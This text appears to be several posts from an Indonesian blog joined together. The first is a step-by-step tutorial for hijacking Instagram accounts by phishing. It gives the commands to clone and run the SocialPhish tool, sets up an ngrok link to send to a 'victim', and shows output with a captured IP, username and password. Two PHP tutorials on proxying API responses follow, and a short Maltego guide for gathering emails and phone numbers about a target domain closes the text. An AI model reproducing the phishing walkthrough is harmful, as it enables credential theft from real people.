Assalamualaikum sobat-sobat pada kesempatan kali ini saya akan memberikan tutorial cara meretas akun instagram dengan metode Phishing.

oke jadi apa aja nih bahan-bahan yang di butuhkannya?

1. Terminal

2. Script Phishing

3. Social Engineering (Penting)

nah jadi untuk langkah-langkahnya dapat kalian ikutin yaa....

1. install Tools SocialPhish.

rasitech@kali:~$ git clone https://github.com/xHak9x/SocialPhish

2. Masuk ke direktori SocialPhish.

rasitech@kali:~$ cd SocialPhish

3. lalu jalankan script nya.

rasitech@kali:~/SocialPhish$ ./socialphish.sh

4. Pilih Instagram.

5. pilih ngrok.

6. copy link ngrok.io.

┌──(root💀kali)-[/home/rasitech/SocialPhish]
└─# ./socialphish.sh
 ███████╗ ██████╗  ██████╗██╗ █████╗ ██╗     ██████╗ ██╗  ██╗██╗███████╗██╗  ██╗ 
 ██╔════╝██╔═══██╗██╔════╝██║██╔══██╗██║     ██╔══██╗██║  ██║██║██╔════╝██║  ██║ 
 ███████╗██║   ██║██║     ██║███████║██║     ██████╔╝███████║██║███████╗███████║ 
 ╚════██║██║   ██║██║     ██║██╔══██║██║     ██╔═══╝ ██╔══██║██║╚════██║██╔══██║ 
 ███████║╚██████╔╝╚██████╗██║██║  ██║███████╗██║     ██║  ██║██║███████║██║  ██║ 
 ╚══════╝ ╚═════╝  ╚═════╝╚═╝╚═╝  ╚═╝╚══════╝╚═╝     ╚═╝  ╚═╝╚═╝╚══════╝╚═╝  ╚═╝ 

       .:.:. Phishing Tool coded by: @Hak9 .:.:.

[01] Instagram      [17] IGFollowers   [33] Custom     
[02] Facebook       [18] eBay   
[03] Snapchat       [19] Pinterest   
[04] Twitter        [20] CryptoCurrency   
[05] Github         [21] Verizon   
[06] Google         [22] DropBox    
[07] Spotify        [23] Adobe ID    
[08] Netflix        [24] Shopify     
[09] PayPal         [25] Messenger    
[10] Origin         [26] GitLab       
[11] Steam          [27] Twitch        
[12] Yahoo          [28] MySpace       
[13] Linkedin       [29] Badoo         
[14] Protonmail     [30] VK            
[15] Wordpress      [31] Yandex        
[16] Microsoft      [32] devianART    

[*] Choose an option: 1

[01] Serveo.net (SSH Tunelling, Best!)
[02] Ngrok

[*] Choose a Port Forwarding option: 2

[*] Starting php server...
[*] Starting ngrok server...
[*] Send this link to the Target: https://e65f608b491e.ngrok.io

[*] Or using tinyurl: https://tinyurl.com/yytqzmme 


[*] Waiting victim open the link ...

7. share ke korban.

 jangan di close yaa nanti kamu tidak bisa mendapatkan hasilnya dan link nya akan mati.

8. gunakan skill Social Engineering kamu yaa.

9. hasil akan muncul di terminal kamu.

[*] Waiting victim open the link ...

[*] IP Found!
[*] Victim IP: 180.244.234.110
[*] User-Agent:  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
[*] Saved: instagram/saved.ip.txt


[*] Waiting credentials ...

[*] Credentials Found!
[*] Account: bug_4_pejuang
[*] Password:  inipasswordgue
[*] Saved: sites/instagram/saved.usernames.txt

10. selamat mencoba 😊.

Saya rasi tech wassalamualaikum wr. wb. Kalo ada kesalahan dalam menulis bisa kalian laporkan di kolom komentar atau melalui widget di sebelah kanan.

 Assalamualaikum sobat-sobat... Kalo di postingan kemarin result nya json nah sekarang kita belajar bagaimana cara membuat output nya bukan text melainkan media.

Oke step pertama kalian buat dulu file php nya disini nama file saya dalah index.php.

index.php

<?php
?>

 setelah itu kita akan memasukan script untuk mengambil value dari para meter. Disini saya ingin menggunakan parameter "no" dan parameter "apikey" maka script yang harus saya masukan adalah seperti dibawah ini.

$apikey = $_GET['apikey']; 

dan saya akan memunculkan teks nya dengan "echo".

echo $apikey;

 dan jika saya memasukan parameter seperti ini "index.php?apikey=rasitech" maka output nya akan seperti dibawah sini. 

rasitech

 kita sudah berhasil mengambil value dari parameter, sekarang bagaimana cara kita mengambil image dari api seseorang?

 oke yang perlu kalian masukan adalah script untuk mengambil isi dari page atau biasa di sebut mengambil view source nya. Dapat kalian lihat scriptnya di bawah saini.

header('Content-type: image/jpeg');
$url = "";
$image = file_get_contents($url);
echo $image;

 Untuk header sesuaikan sama output yang kalian inginkan. Bisa image, video, audio. Untuk extensi bisa png,jpg,mp4,mp3 dll. Nah seletelah selesai menambahkan script jangan lupa untuk memasukan image nya di "$url" dan hasilnya akan seperti ini.

$url = "https://i.ytimg.com/vi/iKY20GlX-Xk/maxresdefault.jpg";

sudah paham kan...? nah sekarang saya akan membuat kodingan "If & Else". saya rasa kalian sudah paham logika ini lah yaaa... jadi saya akan langsung kasih lihat hasil dari pembelajaran kita kali ini.

<?php
$apikey = $_GET['apikey'];
if ($apikey != 'rasitech') {
echo '{
    "code": "200",
    "creator": "rasi tech",
    "result" : "Maaf Apikey yang anda masukan salah!"
}';
} else {
header('Content-type: image/jpeg');
$url = "https://i.ytimg.com/vi/iKY20GlX-Xk/maxresdefault.jpg";
$image = file_get_contents($url);
echo $image;
}
?>

ets... tapi jangan seneng dulu... Kenapa? karena kita belum memasukan header. Jadi header itu script untuk ngasih tahu ke browser kita kalo halaman ini akan di tampilkan dalam bentuk apa. Bisa Text,Json,Xml,Audio,Video atau Image. Karena kalo tidak maka ketika seseorang ingin mengintegrasikan api kalian maka script nya bisa mengambil hasil json nya...

jadi ini masih dalam format text belum json. Contohnya kalo kalian mau memasukannya di Node JS maka kalo kalian tidak memberikan header maka script akan error... karena saat script node js ingin mengambil id dari json dia tidak bisa membaca script json nya karena dia mendeteksi kalo halaman tersebut masih dalam bentuk text bukan json, nah dari pada banyak bicara langsung saja ke script nya.

header('Content-Type: application/json');

maka keseluruhan script adalah seperti ini

.

<?php
header('Content-Type: application/json');
$apikey = $_GET['apikey'];
if ($apikey != 'rasitech') {
echo '{
    "code": "200",
    "creator": "rasi tech",
    "result" : "Maaf Apikey yang anda masukan salah!"
}';
} else {
header('Content-type: image/jpeg');
$url = "https://i.ytimg.com/vi/iKY20GlX-Xk/maxresdefault.jpg";
$image = file_get_contents($url);
echo $image;
}
?>

Sekarang tinggal kalian upload ke webhosting kalian dan jalankan scriptnya.

saya rasi tech wassalamualaikum wr wb, kalo ada pertanyaan silahan komen di bawah atau lewat widget di sebelah kanan.

 Assalamualaikum sobat-sobat... Sudah lama nih saya enggak posting dan sekarang blog ini posting lagi, dan sesuai judul postingan kali ini saya akan memberikan tutorial cara mengambil json seseorang.

Oke step pertama kalian buat dulu file php nya disini nama file saya dalah index.php.

index.php

<?php
?>

 setelah itu kita akan memasukan script untuk mengambil value dari para meter. Disini saya ingin menggunakan parameter "no" dan parameter "apikey" maka script yang harus saya masukan adalah seperti dibawah ini.

$nomor = $_GET['no'];
$apikey = $_GET['apikey']; 

dan saya akan memunculkan teks nya dengan "echo".

echo $nomor;
echo $apikey;

 dan jika saya memasukan parameter seperti ini "index.php?apikey=rasitech&no=6287883353421" maka output nya akan seperti dibawah sini. 

6287883353421rasitech

 kita sudah berhasil mengambil value dari parameter, sekarang bagaimana cara kita mengambil json dari api seseorang?

 oke yang perlu kalian masukan adalah script untuk mengambil isi dari page atau biasa di sebut mengambil view source nya. Dapat kalian lihat scriptnya di bawah saini.

$url = "url api nya";
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $url);
$result = curl_exec($ch);
curl_close($ch);
echo $result;

 nah untuk url kalian bisa paste aja url api yang sudah kalian miliki. Dan bagaimana kalo kita mau naro value url parameter kita di url nya...?

nah lihat script dibawah sini.

$url = "http://rasitech.epizy.com/call/?no=87883353433";

 masih ingat dengan url parameter saya? yang "$nomor = $_GET['no'];" nah saya akan memasukan value dari parameter url saya ke url yang ada di script dengan cara seperti ini.

$url = "http://rasitech.epizy.com/call/?no=$nomor";

 jadi kan kita sudah set kalo "$nomor" adalah value dari url parameter "no" kenapa saya buat seperti ini karena saupaya lebih simple kalo mau di masukin ke script2 lain. Nah ini nih hasilnya kalo saya enggak set "$nomor" ke value dari parameter "no".

$url = "http://rasitech.epizy.com/call/?no=$_GET['no']";

coba kalian lihat, jadi aneh dan ribet kan... makanya saya set aja pake id "$nomor". Itu sih sesuka hati kalian mau id nya apa... tapi saya pake kata "nomor". kalo kalian mau buat jadi "$no" juga bisa nanti masukinnya gini.

$url = "http://rasitech.epizy.com/call/?no=$no";

sudah paham kan...? nah sekarang saya akan membuat kodingan "If & Else". saya rasa kalian sudah paham logika ini lah yaaa... jadi saya akan langsung kasih lihat hasil dari pembelajaran kita kali ini.

<?php
$nomor = $_GET['no'];
$apikey = $_GET['apikey'];
if ($apikey != 'rasitech') {
echo '{
    "code": "200",
    "creator": "rasi tech",
    "result" : "Maaf Apikey yang anda masukan salah!"
}';
} else {
$url = "http://rasitech.epizy.com/call/?no=$nomor";
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $url);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
}
?>

ets... tapi jangan seneng dulu... Kenapa? karena kita belum memasukan header. Jadi header itu script untuk ngasih tahu ke browser kita kalo halaman ini akan di tampilkan dalam bentuk apa. Bisa Text,Json,Xml,Audio,Video atau Image. Karena kalo tidak maka ketika seseorang ingin mengintegrasikan api kalian maka script nya bisa mengambil hasil json nya...

jadi ini masih dalam format text belum json. Contohnya kalo kalian mau memasukannya di Node JS maka kalo kalian tidak memberikan header maka script akan error... karena saat script node js ingin mengambil id dari json dia tidak bisa membaca script json nya karena dia mendeteksi kalo halaman tersebut masih dalam bentuk text bukan json, nah dari pada banyak bicara langsung saja ke script nya.

header('Content-Type: application/json');

maka keseluruhan script adalah seperti ini

.

<?php
header('Content-Type: application/json');
$nomor = $_GET['no'];
$apikey = $_GET['apikey'];
if ($apikey != 'rasitech') {
echo '{
    "code": "200",
    "creator": "rasi tech",
    "result" : "Maaf Apikey yang anda masukan salah!"
}';
} else {
$url = "http://rasitech.epizy.com/call/?no=$nomor";
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_URL, $url);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
}
?>

Sekarang tinggal kalian upload ke webhosting kalian dan jalankan scriptnya.

saya rasi tech wassalamualaikum wr wb, kalo ada pertanyaan silahan komen di bawah atau lewat widget di sebelah kanan.

Menggali informasi menggunakan Maltego di Kali Linux

• Block IP hosting
• Domain register
• Email user & admin
• Phone number
• Peta jaringan

1. Buka maltego pada kali linuk anda, ada di menu Information Gathering > maltego

Agar bisa menggunakan software ini maka anda harus mempunya akun terlebih dahulu, untuk membuat akunya bisa  visit  disiniJika sudah terdaftar anda bisa login dengan email dan password yang anda buat tadi

2. Setelah selesai login maka akan muncul dialog Start a Machine, pilih Footprinting L3 Lalu di step kedua kita harus mamasukan domain atau link website tage

3. Tampilan awalnya kurang lebih seperti ini, dan disini kita bisa menggali informasi dari target dengan klik kanan pada web target dan run all transformsbeginilah tampilan website yang ditargetkan tadi sudah di all transformsDan dibawah ini dalam tampilan Entry list

4. Untuk mencari informasi tentang alamat email, pilih ikon webnya lalu klik kanan pilih“mirror: email address found”Inilah hasilnya terdapat 3 email yg terhubung dengan web tersebut :v
5. untuk mencari data, dokumen, atau yang lainnya caranya sama seperti mencari email, tinggak klik kanan ikon webnya dan klik all transforms untuk menampilkannya